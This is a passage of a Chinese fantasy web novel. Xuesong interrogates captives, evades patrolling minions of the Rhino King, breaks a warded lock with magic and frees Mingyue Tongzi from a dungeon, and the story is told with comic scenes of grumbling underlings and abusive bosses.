雪松扑上去,一脚把人踩住,那个人扭了两下,没有办法逃跑,只好无可奈何躺在地上,好像一只被抓住的老鼠一样,叹了一口气,一副任人宰割的样子。
雪松把人打量一番问他:“就是你刚才对我的同伴用的眩晕术,害得他晕倒了?”
他满脸今天真是倒霉的样子,叹着气说:“不是我用的眩晕术。”
雪松猛然一惊,意识到如果不是他,那就只有一个可能了,立刻转过头去,往旁边一看,假冒的明月童子,正在地上,蹑手蹑脚往门口爬去。
明月童子感受到雪松的目光,浑身一僵,立刻跳起来要跑,雪松丢了一个眩晕术过去,准头很好,一击即中。
刚刚伸手要开门的明月童子,手都已经搭上去了,却没来得及真正把门打开,只能咬了咬牙,满脸愤恨,十分不甘心倒了下去,后脑勺砸在地面上,砰的响了一声。
雪松松了一口气,又往假冒的明月童子和被踩中的这个契约主人身上丢了一个束缚咒,之后把他们两个拖到一起放好,就好像过年的时候把即将宰杀的两头年猪放在一起并排,只是这里没有桌子,也没有盘子。
雪松走到昏迷不醒的回春堂的人身边,拍了拍他的脸,发现他一时半会醒不过来,向他丢了一个清醒术,却发现他还睡着,沉沉的,好像无论如何也不会随便醒过来一样,脸色居然有些红润,唇角微微勾着,眼睛仍然闭着,一副正在做美梦的样子。
雪松无可奈何摇了摇头,把手收回去,给人换了一个躺着稍微舒服一点,而且不会轻易被呕吐物堵住的姿势,向另外两个人走去。
雪松对于自己使用的眩晕术,还是很有把握的,一下子就把晕倒的,假冒的明月童子搞醒了。
明月童子睁开眼睛,就下意识扭动着手,似乎想要传递消息,雪松狠狠踹了他一脚,他皱着眉头,嗷的惨叫了一声。
雪松踩着他的脖子,不希望有人被他的叫声吸引过来,皱着眉头呵斥道:“闭嘴!”
话音未落,他也不知是吓着还是冷着,狠狠打了个哆嗦,闭上嘴不再言语,没有声音了。
雪松勉强满意,点了点头,向他问:“你为什么要假冒明月童子?”
假冒的明月童子听了这话,瘪了瘪嘴,十分委屈说:“我看你们两个陌生人进来,没有通报请帖,不怀好意似的,就想要抓了你们两个,去向大王邀功。”
雪松疑惑问:“你大王是谁?”
“就是犀牛大王!今天刚来的,”假冒的明月童子叹了一口气,“如今正在府上坐着喝茶,听曲看美人呢。”
要是他说的这些话是真的,他家大王在那享受,他在这受苦,倒也挺讽刺的。
雪松挑了挑眉问:“那你怎么知道,这里有个明月童子,还是你如今这副模样?”
“我见过他,”假冒的明月童子回答,“我家大王刚来的时候就是他接待的,我跟大王一起来的,所以知道。”
“那你家大王怎么登堂入室了?我记得这里,不是你家大王的地盘吧?”雪松接着问。
“明月童子每回接待大王都只让坐着喝茶,什么多余的也不给,问什么时候能见他师父,他也说不知道,”假冒的明月童子叹着气道,“大王觉得他是故意怠慢,不把自己放在心上,十分生气,就带着我们过来,把这一块地占了。”
“这么说,明月童子的师父真的不在这?”雪松试探着问。
“我不知道,”假冒的明月童子摇了摇头,“我没见到过,大王也没见到过,反正我们来的时候他是不在的,现在在不在这,那就不好说了。”
雪松皱起眉头感到苦恼,如果明月童子的师父不在这里,也不知道什么时候会回来,那就算把这里的事情解决了,中的毒也解不了,那可麻烦了。
“你们,”雪松咀嚼了这两个字,盯着假冒的明月童子问,“你家大王一共带了多少人?真正的明月童子现在在哪?”
假冒的明月童子被他的眼神盯得瑟瑟发抖,像是一只被猫盯上的老鼠:“我不知道,我没有数,但肯定有很多,绝对不少于十个,至于真正的明月童子,在地牢里面。”
“哪里的地牢?”雪松皱起眉头,觉得事情开始不妙起来。
“就是这里的地牢啊?”假冒的明月童子愣了一下,两只眼睛里透出迷茫的光,见他面色不善,连忙说:“我知道这里的地牢在哪!”
雪松不置可否,一时没有回答,这个时候,门外忽然响起了脚步声,雪松立刻给身边的两个人丢了封口术,使他们无法言语,自己屏住呼吸,目不转睛盯着旁边的窗户和门,眉毛压了下去,不知来的是谁,也不知即将发生什么,只是十分警惕,如同一只捕猎中竖着耳朵随时可能消失的敏捷的豹子。
门外的脚步声越来越近,越来越重,越来越大,好像徘徊在屋外,即接要停下来,雪松为了以防万一,又悄无声息掐诀给身边的两个人加了一重僵身咒,使他们无法动弹,勉强放下心来。
他重新把目光投向门窗外,门窗上已经出现了隐隐绰绰的影子,人的影子夹杂在树木的影子之中。
风一吹,树叶就哗啦啦响,树枝随风摇曳着,投在窗上和门上的影子,也跟着摇晃起来,一点不肯迟疑。
模糊的人的轮廓在树影之中若隐若现,从房间里往外看去,也不知有多少个人,也不知究竟长什么样子,穿什么衣服,只能看见,那些人似乎停在了附近,暂时没有离开的意思。
雪松竖起耳朵,想要仔细听一听外面有没有什么说话的声音,没想到,还真听见了——
一个十分粗犷的声音,一边吞云吐雾,一边嘻嘻哈哈说:“咱们也转了两圈了吧?刚来的时候一圈,现在一圈,再转下去就变成三圈!我觉得差不多够了!”
另一个稍微尖细一点的声音说:“我也觉得差不多够了,既不是没干,也不是没重复干,更不是没仔细干,就算是别人要问起来,也是我们干了的!如果非要有人挑刺儿,或者发脾气找我们麻烦,那也是没办法的事,跟我们干多少,干没干,关系恐怕不大!”
“那再转一圈就休息吧?我有点累了,休息一会儿再继续,应该也没什么,不会有人来查的,就算有,我们应该也不至于那么倒霉,休息的时候正好撞上!再说了,大王只叫我们巡逻,也没叫我们一直巡呢!”
“是呀,是呀,大王都没发话,别人凭什么管我们?未免太多管闲事了!我们也不一定要服他们的管嘛!那再转一圈就休息吧!”
听到这里,正当雪松以为外面那两个人要走的时候,他们顿了顿,忽然又谈起新的话题来。
“巡逻的不止我们两个吧?”稍微粗犷一点的那个声音,向身边的同伴问。
“肯定不止啊,只靠我们两个那得多累啊!就我们这一片儿,除了我们这一队,还有另外一队,那个队伍好像也是两个人,不过路上都没看见他们,也不知道在哪,或许是路线刚刚好岔开,也有可能是他们看我们勤勤恳恳的,觉得不会出事,就自己找地方偷懒去了!”
“虽然巡逻起来挺累的,不过你还别说,这块地儿挺大的!跟咱们大王以前住的那座山都有得比!真快把人累死了!也不知道平时是怎么维护的!”
雪松听到这里,若有所思,确实,深山谷从外面看起来是很大的,进来之后的感觉也依然很大,这么大一块地,平时没有人巡逻,怎么保证安全呢?
还是说,根本放弃了安全,觉得没有人会来做什么,就干脆不巡逻了,才会那么轻而易举,被犀牛大王攻进来?
外面两个人聊着聊着,踩着稀里哗啦的树叶子,总算是换了姿势,又是一阵吞云吐雾之后,弯着腰慢吞吞打算走了。
看来他们待在这里休息,只是走得有些累了,恰好选了这个地方,不是发现了什么,雪松悄悄松了一口气,希望他们走得更快一些,别在这多呆了,不然发生冲突,还得再打一架。
他倒不是担心打不过,只是闹翻了,吸引了其他的在附近的犀牛大王的手下的注意,那想要悄无声息把地牢里的明月童子捞出来的事,就几乎是不可能了。
他还想找真正的明月童子问一问,能解毒的那个师父在哪儿呢。
只可惜天不随人愿,偏偏这个时候,之前怎么也不醒的,回春堂的弟子,哼了一声,缓缓睁开眼睛,醒了过来。
雪松闭了闭眼睛,有种点了七星灯续命,结果到最后一天,被人掀开营帐,一阵风一股脑把所有灯全都吹灭的感觉,实在无可奈何。
现在扑过去把人的嘴捂住已经来不及了,因为声音已经传出去了,更何况,扑过去不仅要时间,还有可能发出声音。
或许他可以赌刚才回春堂的弟子发出的声音没有传出去,毕竟的声音并不怎么大,但如果他在扑过去的路上,不小心撞上什么,比如那个立在地上的屏风,发出更大的声音,隔着门都能吸引外面的两个巡逻的人的注意力,那才是避无可避。
总之,先祈祷或许没事吧。
雪松在心里叹了一口气。
门外的两个人,果然听见了屋子里传出的声音,停下了脚步,他们面面相觑,随后异口同声似的,疑惑问:“你刚才听见什么声音了吗?”
两个人问完都沉默了,既然都听见了,那多半是真的有声音,怎么偏偏是要走的时候冒声音出来呢?怎么不能在他们走了之后冒出声音来?
要是在他们走了之后出现声音,他们没听见是情有可原,不发现是理所应当,没有处理,就再正常也没有了!
可是现在他们还没走就出现了声音,还恰好被他们听见了,那他们就不得不处理了!这也太倒霉了吧?!
这不是平白无故给自己找事干吗?不对不对,不是自己给自己找事干,是事情找上门来,挡都挡不住,自己被迫要干活!
两个人对视一眼,脸色立刻不约而同,都垮了下去,如丧考妣一般,缓缓转过身来,左右看了看,没有发现什么。
但又不太能就这样走,因为如果真出了什么事,叫别人知道,他们听见声音,还随便看了看就走了,恐怕要治他们的罪。
两个人深深叹了一口气,充满了对突然冒出来的事情,自己还不得不干的无可奈何,生无可恋道:“我去左边,你去右边,找一圈没什么事再走吧?反正也在这里休息过了。”
虽然最后那句话听起来不像是刚休息,倒像是刚干了一天一夜的活,正准备休息,被人强行从被子里拉出来了,睁着黑眼圈说出来的话,闻者伤心,听者落泪。
两个人分配好了任务,点了点头,一左一右走开了,开始仔仔细细检查起草丛和树木,还有地上的痕迹。
外面的说话声和脚步声,像是水滴一点一点渗透进丝绢做的扇子一般,从门窗透了进来。
哪怕是刚醒过来,回春堂的弟子也立刻意识到了现在的情况,知道自己不能被发现,或者说,最好保持安静。
他瞪大了眼睛,浑身紧绷,整个人几乎贴在地面上,像一条刚从冬眠醒来的蛇,如果不是继续行动,会发出更多的声音,大约还会用手捂住口鼻,免得不小心,再被发现一次。
房间里的气氛十分紧张,但幸好没有谁动弹,也没有谁说话,更没有什么多余的声音发出去。
他们只能安安静静听着,门外的树叶和草叶叠在一起,被人一脚一脚踩碎,发出的那种十分清晰而令人几乎有些牙酸的,咔嚓咔嚓的声音。
听起来像有谁的骨头被打碎了。
门外的两个人找了一圈,连房子的墙根都找过了,什么也没有发现,兴高采烈准备离开:“太好了!什么人也没有!也许是刚才我们听错了!这里不是常吹风吗?
听错也是正常的。更何况,这地方还有别的队伍在巡逻,也许是他们的声音远远传过来了,我们没听清,以为是附近发出来的!”
两个人很快说服了自己,点了点头,立刻就要走,离开的速度比之前快了不少,两个人的背影中都透露出一种饥肠辘辘者见到美食般的迫不及待。
雪松还以为逃过一劫,正要松一口气,外面的脚步声又停住了,不由皱起眉头,侧耳一听,听见外面说:“不对,气息不对!”
第72章
雪松的心不由得随着门外的声音提到了嗓子眼, 握紧了拳头,随时准备开溜,同时斜了旁边的两个人一眼, 考虑要不要在门外的人发现屋子里有人之前, 把这个两个人搞死,或者, 藏起来。
如果要把这两个人一并带走, 那可比单独逃跑难多了,所以暂时不在考虑范围之内, 大不了逃跑之后再回来看看情况,如果这两个人都没事, 那就再来找他们, 如果这两个人都被关了起来, 还可以顺便按照痕迹, 看看他们究竟被关在了哪里。
如果运气好,说不定他们被关的地址和明月童子, 是一个地方, 那也用不着谁专门来带路了,反正找着了就行。
旁边两个人眨了眨眼睛,一动不能动,一声不能吭,连表情都像是凝固住了的火山灰一样,每一条褶皱都十分显眼, 转了转眼珠,这个时候也只有眼珠能动了,情绪十分复杂,又像是有些茫然, 总之,场面有些喜感。
这个时候,门外的脚步声又回到了屋子旁边,简直像是戏耍一样,不过,门外的人似乎真的没有发现屋子里有人。
他们在门外徘徊了一阵子,停在了不远处的,一片草丛之中,似乎又低头检查了一番,相互看了看。
雪松听见他们喃喃道:“刚才察觉这里的气息是不太对,怎么现在又好像,没有什么奇怪的地方似的?”
“也许是刚才的风把远处的气息吹过来了?可是再怎么吹,也不能这么陌生吧?这样陌生的气息,绝对不可能是这一片地区里的,除非是深山谷外面来的,可是,外面的风吹到里面还会有这么浓郁的气息吗?早应该散了不少才对啊?”
“要不咱们再检查检查吧?我隐约觉得这块地儿不对。真要是出了什么事,咱们可担不起!”
“那好,就再检查一遍吧!”
两个人忧心忡忡对视一眼,点了点头,重新开始检查起来,还没等检查出个所以然,就听见远处传来一声呵斥:“你们干什么呢?!”
两个人皱着眉头,带着被打扰的不耐烦,抬起头来一看,发现远处发出声音的人正往这里靠近,原来是小组组长。
他们巡逻队是两队一个小组,一组一个组长,专门负责管理两支队伍和里面的队员,以及检查巡逻情况,有空往上汇报和接受询问的。
如果要正儿八经和其他划分出来的巡逻区域联系,也是组长负责,虽然私底下,组长们并不严格禁止队员们相互沟通,毕竟大家相互认识,来来往往,抬头不见低头见的,多少有点关系,但明面上,队员们没有相互交流的权利,至少,在干活的时候是这样的。
所以,组长对他们来说就是县官不如现管,少不得要尊敬些,两个人立刻收敛了脸上被打扰的愤怒和不耐,露出笑盈盈的表情,一边往前走,一边微微弯腰,好奇中带着点恭敬还有一些微不足道的歉意,仿佛莫名其妙被呵斥,真是他们的问题,而且他们自己还没发现一样,声音如同讨好主人的哈巴犬问:“您怎么来了?有什么事吩咐我们就成!何必亲自动身呢!”
组长皱着眉头,一副居高临下的姿态,比他们更加不耐烦问:“你们刚才有没有看见陌生人从这儿经过?”
“没有,没有!”两个人一边摇头,一边连忙回答。他们确实没有看见,至于本来在侦查痕迹被打断了的事,不提为妙,现在提出来,倒好像是在指责组长帮不上忙,还尽添乱,恐怕吃力不讨好。
组长双手抱在胸前,把他们打量了一番,像是守宝藏的石像守卫在看准备偷偷摸摸拿东西的小贼,横竖不满意,又十分轻蔑:“谅你们也没看见。”
这话不像是说,你们劳苦功高,一时疏忽也是有的,或者,没看见也正常,倒像是在说,就你们的本事,有人从你们面前晃过去,你们也看不见。
两个人都听得出来,组长说这话究竟是不是有贬低他们的意思在,但也不能硬刚,毕竟还要在组长手底下过日子的,只能连连点头,好像他们真是那么想的:“您说的对!”
组长翻了个白眼,似乎觉得他们自甘下贱,又似乎觉得羞辱他们没什么意思,总是一脚踩进烂泥塘里似的,把鞋子拔出来,满脚的泥巴,脏兮兮臭烘烘,不把鞋子拔出来,湿漉漉软绵绵,怎么都是膈应。
“你们刚才在干什么呢?不巡逻,低着头找什么?丢了东西?好端端的巡逻居然能丢东西?你们究竟还想不想干了?”组长又问。
“我们……”两个人对视一眼,考虑要不要把发现有什么不对的地方说出来,但转念一想,没发现有什么不对,组长都能这样羞辱他们,真要是有什么不对,组长岂不是要弄死他们?
更何况,他们仔细检查,组长一上来就不分青红皂白呵斥他们,以至于检查被打断,那他们又何必费心去仔细呢?
出了事就说能力低微,什么也没发现得了,反正上面有组长,组长总不能光享受好处,不承担责任吧?那他们可要落井下石了!
“问你们话呢!”组长有些不耐烦,问个话都支支吾吾,也不知道是脑子没发育好,还是不会说话,巡逻做不好也就算了,连说话都做不好,真是一群废物。
“我们就是看好像有什么动静,所以仔细瞧瞧,没想到您正好来了,是我们没注意。”两个人低下头去,十分诚恳回答道。
组长切了一声,不想继续和他们谈,转身要走,忽然又想起什么,定住脚步,整张脸阴森森的,侧身向他们问:“守门的那两个大王的侄子,你们看见了吗?”
两个人面面相觑,都摇了摇头:“没有看见,他们不是在门口吗?应该不会到这么里面来吧?”
“你们继续巡逻吧。”组长点了点头,转身离开,没有再问什么。
两个巡逻的都松了一口气,觉得这地方挺晦气的,也不想继续待下去了,立刻加快脚步走开了,免得又被抓住呵斥一通,叫人过意不去。
他们一边走一边低语:“组长突然问门口那两个干什么?难道是想讨好他们?一天天的净整些媚上欺下的!怎么这种人能当领导呢?真比能力,咱俩真不比他差呢!”
两个人一边嘻嘻笑笑一边走了。
门外终于安静下来,雪松等了一会儿,没听出有人埋伏或者打回马枪的意思,松了一口气,直起身来,回春堂的人走到他身边问:“我们要不到别的地方去?我看这儿等会儿还有巡逻,恐怕不太安全呢!”
雪松点了点头:“我刚刚问了,假冒的这个说,真的明月童子在地牢里被关着,他还知道地牢在哪儿,可以带我们去。”
“那这个是?”回春堂的人看着雪松旁边的另外那个人问。
“还没来得及问呢,”雪松解开了这两个人的僵身咒和封口术,把他们从地上提起来,准备立刻离开到地牢去,“路上问,这样省时间,还免得在这里被堵住。”
回春堂的人点了点头,走上前去,抓住了另外一个,免得他逃跑,二人往门外望了望,外面没有人,他们立刻推门出去了。
不过就这么大摇大摆走,很容易被发现,他们就在路上顺手又给自己和抓起来的两个人施展了隐身术。
虽然只隐藏身形,而没有隐藏声音,但是,草木多的地方,本来就容易有声音,只要不是很吵,乍一听听不出来什么,所以也不用太担心。
看着左右没有人,雪松抓着契约主人低声问:“你是什么人?”
“实不相瞒,”契约主人低声道,“我就是个路过的。”
“路过也该在门外路过,怎么路过到里面来了?你怎么知道那里有个房间?你怎么避开外面的巡逻的?还有你这只老鼠,带进来是干什么的?有什么用处?总不会只为了被人发现的时候分散注意力吧?”雪松向他问。
“好吧,其实我是想进来转转,”契约主人叹了一口气,“这里这么大,人又不多,看起来风景很好,闻着又似乎有许多草药,我一时好奇,又不知应当怎样联络这里的主人,就想着偷偷进来转转,反正没人发现,够了再出去,也不用谁同意,更自在一些,没想到,会像现在这样。”
他顿了顿,神色有些复杂:“至于我的老鼠,这是寻宝鼠的一种,有些返祖,所以看起来像普通的耗子,不容易引人注意,我带进来,也不过是想要看看究竟有什么宝贝。”
也不过?有什么宝贝?听起来不像是一时好奇,毕竟这里也不是开放了随便人进出的公园,倒像是蓄谋已久,所以过来踩点的,不然少说也得带几个能搬东西的大力士,或者一个巨大的布口袋,总之要把东西带走才行。
不然,这个地方有什么宝贝,和此地主人以外的人有什么关系?如果真的只是进来转转,看风景也就得了,看什么宝贝?不像好人。
“这老鼠不便宜吧?”雪松瞥了一眼,跟在契约主人脚旁的那只走走停停的老鼠,向他问。
他有些颓然说:“确实不便宜,毕竟一般的寻宝鼠都是白色的,灰色或者黑色都是变异了的,物以稀为贵,更何况是返祖,通常情况下,返祖的寻宝鼠能力都会退化,但这一只不仅没有退化,反而,比其他的更强一些,所以价格就更不低了。”
“那你都找到什么宝贝了?”雪松试探着问。
“还没来得及找呢,”契约主人叹了一口气,十分无可奈何,“我这不是被发现了吗?”
众人到了地牢,地牢门口站着守卫,看起来不像是深山谷的人,倒像是犀牛大王的人,问假冒的明月童子,他摇了摇头说不认识,问回春堂的人,回春堂的人也摇头说不认识,那就是不能攀关系,也不能凑上去了。
雪松想了想,变出两只瞌睡虫,托在手上一吹,就看见那两只虫子摇摇晃晃展开翅膀飞了出去,两条小虫挥舞着半透明的蜻蜓一般的翅膀,发出嗡嗡的声音,一高一低,上上下下,靠近了那两个守卫。
那两个守卫眯着眼睛挠了挠自己的脖子耳朵,不知怎么忽然觉得痒,低头一看,眼前就发黑,扑通扑通两声,一起倒在地上,呼呼大睡。
雪松一挥手,对身边的其他人说:“趁现在!我们快进去!”
其他人点了点头,跟在了后面,进去之后,是一条长长的阴暗潮湿的走廊,墙壁上有一些幽幽的发着荧光的绿苔藓,角落里,是一丛又一丛颜色鲜艳的蘑菇,隐约能听见水滴声,只是不知从哪儿来的,这里似乎还有回音,以至于走起路来,听着像是背后有人贴着自己的后脚跟,也在走同一条路似的。
走到半路上,契约主人忽然打起退堂鼓,他一边打哆嗦,像是冷又像是害怕,一边放慢了脚步,似乎想要极力拖延时间,但又因为不是最后一个,不能转身就跑,十分可惜说:“要不你们放了我吧?我现在就走,立刻出去,保证绝不回头,不会影响你们的事情,也不会告密,不会和这里有任何其他的牵扯,行吗?”
“口说无凭。”雪松摇了摇头。
“那我发誓?天地作证,总有效果,怎么样?”契约主人想离开的心似乎非常强烈,听见雪松回答,立刻就接了话,眼巴巴望着雪松问。
雪松再次摇了摇头:“契约也不是不能作假,何况,不作假而在契约上钻空子的办法多着呢,我从前又不认识你,没办法相信你。”
走在后面的回春堂的人点了点头:“确实,要是在誓言里说,没有生命危险,绝不把这里的事情告诉别人,那只要在别人以生命威胁自己的时候,吐露实情不就可以绕过契约,既不接受惩罚,也不用负责,还能保住自己的性命,问起来还能哭诉自己情有可原吗?如此一来,倒好像是别人的错了!”
契约主人无可奈何叹了一口气。事已至此,他听出来自己一时半会儿是没有机会出去了,也就暂时放弃了,没再说什么。
又走了一段路,雪松向假冒的明月童子问:“人究竟在哪?”
假冒的明月童子指了指前面那条路的拐弯处:“过了那条就是了!”
正在这个时候,对面忽然传来一阵脚步声,众人都是一惊,连忙贴墙站好,闷不吭声,屏气凝神,盯着那个拐角。
没一会儿,脚步声就从拐角过来了,是两个巡逻的,顺着走廊就走了出去,从众人眼前经过,眼看着就要走出去了,忽然咦了一声。
雪松心下一惊,还以为被发现了,准备好动手,却发现,那两个人又退回来,看向了不远处的一间牢房。
一个人指了指牢房的门锁,向身边的人问:“这个锁是不是有点松了?要不再加固一下吧?”
另外一个人百无聊赖站在旁边,对所有的事情都不上心,听见同伴这么一说,也只是点了点头敷衍:“随便你吧。”
另外一个就把锁加固了一下,准备走,另外一个牢房里面的犯人忽然喊道:“我要举报!我要举报!”
回春堂的人和契约主人距离那个牢房比较近,那个犯人的声音又特别大,刚一喊出口,把他们两个吓得一哆嗦。
那个人一边从房间里面冲出来,一边两只手抓住栏杆,对外面的两个人说:“你们不是讲,只要举报,就可以出去吗?我现在就要举报!”
两个人对视一眼,都有些好笑,走过去,一个打哈欠,一个揣手,都不放在心上,十分不屑问:“你要举报什么?进来之前你不举报,你现在举报?你什么意思?觉得我们两个好骗,所以开始编瞎话了?你在这儿能知道什么?”
犯人有些生气,狠狠瞪了他们一眼:“你们怎么说话的?!我还没说呢!我怎么就编瞎话了?你们知道什么?”
“那你说,”站在牢房门外巡逻的那个又打了个哈欠,好像很困似的,耷拉着眼睛,“我们听着呢!看你能说出什么……”
“我刚才听见声音了!一定有人从这儿经过!现在还没走远!你们快找一找!也许把他们抓着了,就可以立功了!”犯人抓着栏杆,大声说。
两个巡逻的对视了一眼,哈哈笑了起来,好像听见笑话一样,甚至笑弯了腰,几乎要趴到地上去。
犯人愣了一下,不明所以,但能感觉到他们是在嘲笑自己,耳朵迅速红了,呼哧呼哧,像斗牛一样喘着气,大声喊道:“你们究竟在笑什么?!”
两个巡逻耸了耸肩,勉强止住笑声,直起身来,一脸真是玩不起的样子,目光怜悯对他说:“笑你呀!”
他们往旁边一指,手指的方向正好是众人所在,众人都是一惊,浑身紧绷,默默准备好了战斗,谁知道,那两个人说:“那么大一只老鼠没看见吗?能有什么人?也许是老鼠的声音让你以为有人!为一只老鼠费时费力,我们才不干呢,更何况,你凭什么觉得真要是有人,我们会比你晚发现?别犯蠢了!”
一个挥了挥手:“算了,他都已经被关起来了,可能脑子坏掉了吧,别跟他讲了,他们还有事儿呢,先走吧!”
另一个点了点头:“走吧,走吧!没空在这浪费时间!等会儿要是能出去,我还要喝点酒呢!”
两个人说着,肩并肩大笑,一起走了。
契约主人对老鼠使了个颜色,老鼠冲进了牢房,对着那个刚才试图举报的犯人脚踝狠狠咬了一口,之后像是踩了滑板一样飞了出来。
那个犯人猛然一抖,跌坐在地上,用手捂着伤口,皱着眉头,破口大骂:“你这狗日的老鼠,我操你妈的!咬我干什么?操你妈的!”
契约主人仗着犯人看不见,对那个犯人做了个鬼脸。
雪松已经冲着拐角走过去了,其他人跟了上去,过了拐角,雪松看见一个牢房里关着明月童子,就走上前去,看了看挂在门上的锁。
那似乎是一把普通的锁,雪松对那把锁丢了个鉴定术,没看出什么特别的,为了以防万一,又向身边的两个人问了问,他们都说不认识,应该只是普通的锁。
雪松就丢了一个开锁术,强行把这把锁打开,结果打开之后,他意识到了不好,这把锁里面有一个小小的法阵,刚才被他破坏掉了。
这个阵法坏掉的时候,制造阵法或者说维持阵法的那边的人应该能察觉到,他们的时间不多了。
雪松立刻伸出手去,把门打开了,被关在里面的明月童子站起身来,一脸狐疑,看着坏掉的锁和打开的门。
雪松对回春堂的人指了指明月童子,回春堂的人点了点头,往前两步,现出身形,对明月童子说:“请先跟我们离开这!其他事情路上说!”
明月童子将信将疑看着他,仍然皱眉问:“你怎么忽然到这儿来了?到这来做什么?你用什么证明你的身份?”
回春堂的人急得跺脚:“现在不是说话的时候,这里更不是说话的地方,先跟我走再说吧?”
“我不,”明月童子往后退了一步,十分坚定摇了摇头,目光逐渐怀疑,“除非你说清楚,否则我是不会跟你走的,你刚才说我们?
除了你还有谁?宗门的人来了吗?兴师动众到这来吗?外面怎么没有动静?你骗我?你别装了!我不会轻易上当的!”
雪松现出身形,掏出自己的身份令牌给明月童子看:“我和他一起来的,我也是宗门的人,我中了毒,请他给我看,他说他无能为力,只有到这来请师父,总之,先跟我们走吧?很快就有人来了!”
明月童子看了雪松的身份令牌,勉强相信了他一点,但仍然半信半疑,不过,总算没有继续坚持在牢房里面待下去,而是一边走一边问:“要去哪?”
“先出去再说,”雪松走在前面,一边观察情况,嘱咐他给自己加上隐身术,免得在路上会被直接发现,一边小心回答,“要是能找到能为我解毒的那一位就更好了。”
“你究竟中了什么毒?”明月童子还在试探。
“我也不知道,只知道和魔修有关,是最新研发出来的,没有人浑身无力,三天后化为脓水,大概就是这样。”雪松停住脚步。
明月童子不知情况,一边往前走,一边往外看,雪松按住了他,对他比划了一个噤声的手势,他点了点头,雪松松开了他。
他站在原地继续往外张望,看见不远处已经有一群人行色匆匆,向这里走了过来,走在最前面的那个一边走一边皱着眉头,满脸发黑,恶狠狠训斥道:“让你们仔细仔细!你们怎么干的活?居然能让人溜进去!太没用了!”
站在后面的人只是低着头,无可奈何又十分卑微,还有点上赶着的谄媚,回复道:“您说的对,是我们办事不力,我们下次一定注意,这次是个意外,真的,我们不是故意的,我们一定尽快把破坏阵法和锁的人找到,请您放心。”
领头的人好像没有感到顺心,反而被激起了火气,冷笑一声,停住脚步,破口大骂起来:“说得这样好听!你们做事的本事要是有说话的一半,也不至于落到今天这个地步!还下次?你们还想有下次?
我看你们今天能不能活着出去,也未可知呢!别以为我只是骂你们两句就算过分的了,你们祈祷自己遇上厉害的,死得快一些吧!否则就只有求生不得,求死不能的份了!”
其他人只是一个劲点头,好像一堆脖子折断了的稻草人被风吹了一样,满口答道,是是是,好像暂时不会说别的。
领头的越发生气,转着圈把他们每一个都骂了一顿,最后,声嘶力竭,下了定论:“我遇上你们就是倒了八辈子的霉!你们都他妈应该去死!去死,知道吗?去死!”
他骂完了之后喘着粗气,情绪总算稍微平复了一些,一个人对其他人挥了挥手,其他人会意,立刻掏出桌子凳子,甚至还有水杯和扇子。
挥手的那个人一边把桌凳摆好,一边掏出糕点和鲜花,其他人倒水的倒水,扇扇子的扇扇子,连忙请领导坐在了椅子上,一连声求饶:“我们都知道错了!请别生气了!我们一定会悔改的!”
领导喝了水,吃了糕点,扇着风,闻着鲜花香气,被人捏着肩膀捶着腿,坐在椅子上,翘着二郎腿,勉强满意,哼了一声说:“看在你们这么识趣的份上,这次我就不跟你们计较了,那你们要是下次还出这种差错,我也保不住你们,听见了吗?”
其他人连连点头回答道:“听见了,都听见了!我们能活到现在,全仰仗您!您要是不照顾我们,我们都不知道怎么办才好!这次就拜托您了!我们一定会感激您的!请您大人不计小人过,不要和我们计较!”
“那就这样吧,”领导站起身来,拍了拍衣服上的残渣,一副十分傲然的样子,他们都看了看,看他们一个两个像地洞里面的地鼠一样,嗤笑了一声,背着手往外走去,昂头挺胸好像不是来处理残局的是来论功行赏似的说,“你们查一查吧,我先上去报告了。”
周围的人一叠声说,您慢走,您慢走,一直送出去好远,眼看着人影都没了,声音还在响,像是坏掉的生日莲花蜡烛,就算是踩烂了,只要没扣掉电池,没关掉开关,就还能吱吱呀呀唱歌,有种诡异的恐怖感。
雪松觉得这是出去的时候了,就悄悄往外走,顺便试了试,能不能在地牢里,用转移位置的法术,发现转移不出去。
这里有一个巨大的阵法,笼罩着整个地牢,防止有犯人使用法术从里面逃窜,普通的法术还是可以用的,但是出不去,至少不能用法术出去,看来暂时只有走了。
一行人悄悄往外走,没走多远,就遇到了往回来搜寻的那群人,那群人一边骂骂咧咧,一边非常敷衍往左右看了看,就当做检查了。
他们说话的声音不小,人数也不少,走起路来更是杂乱无章,没有规律,其他人的脚步声混在里面,既不突出,也不容易被听见,倒不担心被发现。
“那狗东西天天的就知道没事为难人,我们巡逻的才多少?一遇到事,就说是我们的错,好像我们什么都没干似的,我们才拿多少东西?拿多少东西,干多少活!犯不着把命赔进去!”
“可不是吗?这也能怪我们?我们又没在锁孔上长眼睛,哪里知道那锁为什么坏掉,谁知道是不是年老失修了,这个不是我们那地儿的锁!还有阵法!”
“是啊,你说他都那么厉害了,连别人家的阵法都能接管到自己手上,怎么,可能不知道毁掉阵法的人是谁呢?我看他是揣着明白装糊!真跟他们计较,都要气死了!”
看来他们不是觉得这边已经检查过了,所以这么敷衍,是觉得他们拿的东西就被他们这么敷衍,才不仔细的。
这也难怪,看他们这样抱怨,想必平时没过好,看他们之前怎么对领导的,怎么被领导骂的,想也知道,最好也好不到哪去。
那会这么干也正常,只不过,便宜了别人,苦也苦他们自己罢了。
雪松一众人,从巡逻的那群人身边经过,没有被发现,立刻加快速度,往远处冲去,门口不远了,他们很快就到了。
只是不巧,眼看着门要关了,雪松往外一冲,倒是冲出去了,剩下的人被关在里面了,眼巴巴的。
雪松看着门关掉了,往周围一看,关门的是个小喽啰,之前躺在门口睡觉的那两个守卫已经被叫醒了,睁着一双疲惫不堪的眼睛,垂头丧气,弯着腰在旁边被领导训斥,看得出来,又委屈又无奈,又敢怒不敢言,心里大约叹了很多次气,但没什么办法,只能接着听着,忍了又忍,额头的青筋跳了又跳,脖子都红了,最后也只能消下去,好像什么都没发生似的,接着站在那里,嘴唇开始逐渐苍白。
“刚来这就睡大觉?你们怎么回事?你们以为这是什么清闲岗位,所以专门让你们来玩儿的?要点脸行不行!一来看见你们在这睡觉,难怪里面的锁会坏掉!你们真不知道什么人进去了?真是废物!把事情交给你们,真是错误!天大的错误!”领导唾沫横飞坐在椅子上对他们骂着,喘了一口气,喝了一口茶,又转头向身后问:“门关好了没有?不许放一只苍蝇进去!也不许放一条虫子出来!”
小喽罗点了点头:“门已经关好了!”他又小声问:“那里面的人要出来怎么办?”
“让他们在里面呆着!”领导把茶杯重重一放,站起身来,背着手怒道:“连这点时间都忍不了还是怎么?我不信他们检查那么快!真要是那么快,就该打回去!我看他们要究竟怎么样才愿意仔细!别以为我不知道他们平时都是怎么偷奸耍滑的!”
